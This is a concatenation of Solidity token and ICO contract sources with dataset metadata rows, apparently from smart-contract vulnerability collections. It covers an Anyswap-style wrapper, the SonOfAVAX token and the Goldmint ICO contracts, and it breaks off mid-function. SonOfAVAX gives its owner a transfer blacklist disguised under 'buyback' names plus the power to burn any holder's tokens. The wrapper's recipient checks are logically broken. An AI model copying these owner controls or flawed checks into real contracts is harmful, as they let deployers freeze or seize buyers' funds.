vault = _vault;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
function wrap(uint256 _amount) external returns (uint256) {
IERC20(BANG).transferFrom(msg.sender, address(this), _amount);
uint256 value = BANGTodYel(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint256 _amount) external returns (uint256) {
_burn(msg.sender, _amount);
uint256 value = dYelToBANG(_amount);
IERC20(BANG).transfer(msg.sender, value);
return value;
}
function dYelToBANG(uint256 _amount) public view returns (uint256) {
return _amount * IBANG(BANG).index() / (10 ** decimals);
}
function BANGTodYel(uint256 _amount) public view returns (uint256) {
return _amount * 10 ** decimals / IBANG(BANG).index();
}
}
| 86,834 | 13,596 |
43a4bd559fece43d790e9d07c2a8752f1a883cb9aa6c08595eb2ae9e4b45fd75
| 16,507 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8a/8aa86f897d69eb988b78b33245446bdda8b1ee57_SonOfAVAX.sol
| 3,940 | 15,654 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SonOfAVAX is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 81,324 | 13,597 |
01c59ab71ae780d852e923a4e140c7fd2cea8535da8699f11af6e8f5bbf079b8
| 18,936 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9bdd27e56a3bf6fef40dfe71c8a97e2c843e1902.sol
| 4,839 | 18,801 |
pragma solidity ^0.4.4;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token is SafeMath {
// Functions:
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
function transfer(address _to, uint256 _value) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value){}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token {
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply = 0;
// Functions:
function transfer(address _to, uint256 _value) {
if((balances[msg.sender] < _value) || (balances[_to] + _value <= balances[_to])) {
throw;
}
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) {
if((balances[_from] < _value) ||
(allowed[_from][msg.sender] < _value) ||
(balances[_to] + _value <= balances[_to]))
{
throw;
}
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
if(msg.data.length < _size + 4) {
throw;
}
_;
}
}
contract MNTP is StdToken {
/// Fields:
string public constant name = "Goldmint MNT Prelaunch Token";
string public constant symbol = "MNTP";
uint public constant decimals = 18;
address public creator = 0x0;
address public icoContractAddress = 0x0;
bool public lockTransfers = false;
// 10 mln
uint public constant TOTAL_TOKEN_SUPPLY = 10000000 * (1 ether / 1 wei);
/// Modifiers:
modifier onlyCreator() { if(msg.sender != creator) throw; _; }
modifier byCreatorOrIcoContract() { if((msg.sender != creator) && (msg.sender != icoContractAddress)) throw; _; }
function setCreator(address _creator) onlyCreator {
creator = _creator;
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) onlyCreator {
icoContractAddress = _icoContractAddress;
}
/// Functions:
/// @dev Constructor
function MNTP() {
creator = msg.sender;
// 10 mln tokens total
assert(TOTAL_TOKEN_SUPPLY == (10000000 * (1 ether / 1 wei)));
}
/// @dev Override
function transfer(address _to, uint256 _value) public {
if(lockTransfers){
throw;
}
super.transfer(_to,_value);
}
/// @dev Override
function transferFrom(address _from, address _to, uint256 _value)public{
if(lockTransfers){
throw;
}
super.transferFrom(_from,_to,_value);
}
function issueTokens(address _who, uint _tokens) byCreatorOrIcoContract {
if((totalSupply + _tokens) > TOTAL_TOKEN_SUPPLY){
throw;
}
balances[_who] += _tokens;
totalSupply += _tokens;
}
function burnTokens(address _who, uint _tokens) byCreatorOrIcoContract {
balances[_who] = safeSub(balances[_who], _tokens);
totalSupply = safeSub(totalSupply, _tokens);
}
function lockTransfer(bool _lock) byCreatorOrIcoContract {
lockTransfers = _lock;
}
// Do not allow to send money directly to this contract
function() {
throw;
}
}
// This contract will hold all tokens that were unsold during ICO
// (Goldmint should be able to withdraw them and sold only 1 year post-ICO)
contract GoldmintUnsold is SafeMath {
address public creator;
address public teamAccountAddress;
address public icoContractAddress;
uint64 public icoIsFinishedDate;
MNTP public mntToken;
function GoldmintUnsold(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
mntToken = MNTP(_mntTokenAddress);
}
/// Setters/Getters
function setIcoContractAddress(address _icoContractAddress) {
if(msg.sender!=creator){
throw;
}
icoContractAddress = _icoContractAddress;
}
function icoIsFinished() public {
// only by Goldmint contract
if(msg.sender!=icoContractAddress){
throw;
}
icoIsFinishedDate = uint64(now);
}
// can be called by anyone...
function withdrawTokens() public {
// wait for 1 year!
uint64 oneYearPassed = icoIsFinishedDate + 365 days;
if(uint(now) < oneYearPassed) throw;
// transfer all tokens from this contract to the teamAccountAddress
uint total = mntToken.balanceOf(this);
mntToken.transfer(teamAccountAddress,total);
}
// Default fallback function
function() payable {
throw;
}
}
contract FoundersVesting is SafeMath {
address public creator;
address public teamAccountAddress;
uint64 public lastWithdrawTime;
uint public withdrawsCount = 0;
uint public amountToSend = 0;
MNTP public mntToken;
function FoundersVesting(address _teamAccountAddress,address _mntTokenAddress){
creator = msg.sender;
teamAccountAddress = _teamAccountAddress;
lastWithdrawTime = uint64(now);
mntToken = MNTP(_mntTokenAddress);
}
// can be called by anyone...
function withdrawTokens() public {
// 1 - wait for next month!
uint64 oneMonth = lastWithdrawTime + 30 days;
if(uint(now) < oneMonth) throw;
// 2 - calculate amount (only first time)
if(withdrawsCount==0){
amountToSend = mntToken.balanceOf(this) / 10;
}
// 3 - send 1/10th
assert(amountToSend!=0);
mntToken.transfer(teamAccountAddress,amountToSend);
withdrawsCount++;
lastWithdrawTime = uint64(now);
}
// Default fallback function
function() payable {
throw;
}
}
contract Goldmint is SafeMath {
address public creator = 0x0;
address public tokenManager = 0x0;
address public multisigAddress = 0x0;
address public otherCurrenciesChecker = 0x0;
uint64 public icoStartedTime = 0;
MNTP public mntToken;
GoldmintUnsold public unsoldContract;
// These can be changed before ICO start ($7USD/MNTP)
uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000;
// coinmarketcap.com 14.08.2017
uint constant ETH_PRICE_IN_USD = 300;
// price changes from block to block
//uint public constant SINGLE_BLOCK_LEN = 700000;
uint public constant SINGLE_BLOCK_LEN = 100;
///////
// 1 000 000 tokens
uint public constant BONUS_REWARD = 1000000 * (1 ether/ 1 wei);
// 2 000 000 tokens
uint public constant FOUNDERS_REWARD = 2000000 * (1 ether / 1 wei);
// 7 000 000 we sell only this amount of tokens during the ICO
//uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * (1 ether / 1 wei);
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 250 * (1 ether / 1 wei);
// this is total number of tokens sold during ICO
uint public icoTokensSold = 0;
// this is total number of tokens sent to GoldmintUnsold contract after ICO is finished
uint public icoTokensUnsold = 0;
// this is total number of tokens that were issued by a scripts
uint public issuedExternallyTokens = 0;
bool public foundersRewardsMinted = false;
bool public restTokensMoved = false;
// this is where FOUNDERS_REWARD will be allocated
address public foundersRewardsAccount = 0x0;
enum State{
Init,
ICORunning,
ICOPaused,
ICOFinished
}
State public currentState = State.Init;
/// Modifiers:
modifier onlyCreator() { if(msg.sender != creator) throw; _; }
modifier onlyTokenManager() { if(msg.sender != tokenManager) throw; _; }
modifier onlyOtherCurrenciesChecker() { if(msg.sender != otherCurrenciesChecker) throw; _; }
modifier onlyInState(State state){ if(state != currentState) throw; _; }
/// Events:
event LogStateSwitch(State newState);
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
/// Functions:
/// @dev Constructor
function Goldmint(address _multisigAddress,
address _tokenManager,
address _otherCurrenciesChecker,
address _mntTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress)
{
creator = msg.sender;
multisigAddress = _multisigAddress;
tokenManager = _tokenManager;
otherCurrenciesChecker = _otherCurrenciesChecker;
mntToken = MNTP(_mntTokenAddress);
unsoldContract = GoldmintUnsold(_unsoldContractAddress);
// slight rename
foundersRewardsAccount = _foundersVestingAddress;
}
/// @dev This function is automatically called when ICO is started
/// WARNING: can be called multiple times!
function startICO() internal onlyCreator {
mintFoundersRewards(foundersRewardsAccount);
mntToken.lockTransfer(true);
if(icoStartedTime==0){
icoStartedTime = uint64(now);
}
}
function pauseICO() internal onlyCreator {
mntToken.lockTransfer(false);
}
/// @dev This function is automatically called when ICO is finished
/// WARNING: can be called multiple times!
function finishICO() internal {
mntToken.lockTransfer(false);
if(!restTokensMoved){
restTokensMoved = true;
// move all unsold tokens to unsoldTokens contract
icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold);
if(icoTokensUnsold>0){
mntToken.issueTokens(unsoldContract,icoTokensUnsold);
unsoldContract.icoIsFinished();
}
}
// send all ETH to multisig
if(this.balance>0){
if(!multisigAddress.send(this.balance)) throw;
}
}
function mintFoundersRewards(address _whereToMint) internal onlyCreator {
if(!foundersRewardsMinted){
foundersRewardsMinted = true;
mntToken.issueTokens(_whereToMint,FOUNDERS_REWARD);
}
}
/// Access methods:
function setTokenManager(address _new) public onlyTokenManager {
tokenManager = _new;
}
function setOtherCurrenciesChecker(address _new) public onlyOtherCurrenciesChecker {
otherCurrenciesChecker = _new;
}
function getTokensIcoSold() constant public returns (uint){
return icoTokensSold;
}
function getTotalIcoTokens() constant public returns (uint){
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getMntTokenBalance(address _of) constant public returns (uint){
return mntToken.balanceOf(_of);
}
function getCurrentPrice()constant public returns (uint){
return getMntTokensPerEth(icoTokensSold);
}
function getBlockLength()constant public returns (uint){
return SINGLE_BLOCK_LEN;
}
////
function isIcoFinished() public returns(bool){
if(icoStartedTime==0){return false;}
// 1 - if time elapsed
uint64 oneMonth = icoStartedTime + 30 days;
if(uint(now) > oneMonth){return true;}
// 2 - if all tokens are sold
if(icoTokensSold>=ICO_TOKEN_SUPPLY_LIMIT){
return true;
}
return false;
}
function setState(State _nextState) public {
// only creator can change state
// but in case ICOFinished -> anyone can do that after all time is elapsed
bool icoShouldBeFinished = isIcoFinished();
if((msg.sender!=creator) && !(icoShouldBeFinished && State.ICOFinished==_nextState)){
throw;
}
bool canSwitchState
= (currentState == State.Init && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOPaused)
|| (currentState == State.ICOPaused && _nextState == State.ICORunning)
|| (currentState == State.ICORunning && _nextState == State.ICOFinished)
|| (currentState == State.ICOFinished && _nextState == State.ICORunning);
if(!canSwitchState) throw;
currentState = _nextState;
LogStateSwitch(_nextState);
if(currentState==State.ICORunning){
startICO();
}else if(currentState==State.ICOFinished){
finishICO();
}else if(currentState==State.ICOPaused){
pauseICO();
}
}
function getMntTokensPerEth(uint tokensSold) public constant returns (uint){
// 10 buckets
uint priceIndex = (tokensSold / (1 ether/ 1 wei)) / SINGLE_BLOCK_LEN;
assert(priceIndex>=0 && (priceIndex<=9));
uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0];
// We have to multiply by '1 ether' to avoid float truncations
// Example: ($7000 * 100) / 120 = $5833.33333
uint pricePer1000tokensUsd =
((STD_PRICE_USD_PER_1000_TOKENS * 100) * (1 ether / 1 wei)) / (100 + discountPercents[priceIndex]);
// Correct: 300000 / 5833.33333333 = 51.42857142
// We have to multiply by '1 ether' to avoid float truncations
uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * (1 ether / 1 wei) * (1 ether / 1 wei)) / pricePer1000tokensUsd;
return mntPerEth;
}
function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) {
if(msg.value == 0) throw;
// The price is selected based on current sold tokens.
// Price can 'overlap'. For example:
// 1. if currently we sold 699950 tokens (the price is 10% discount)
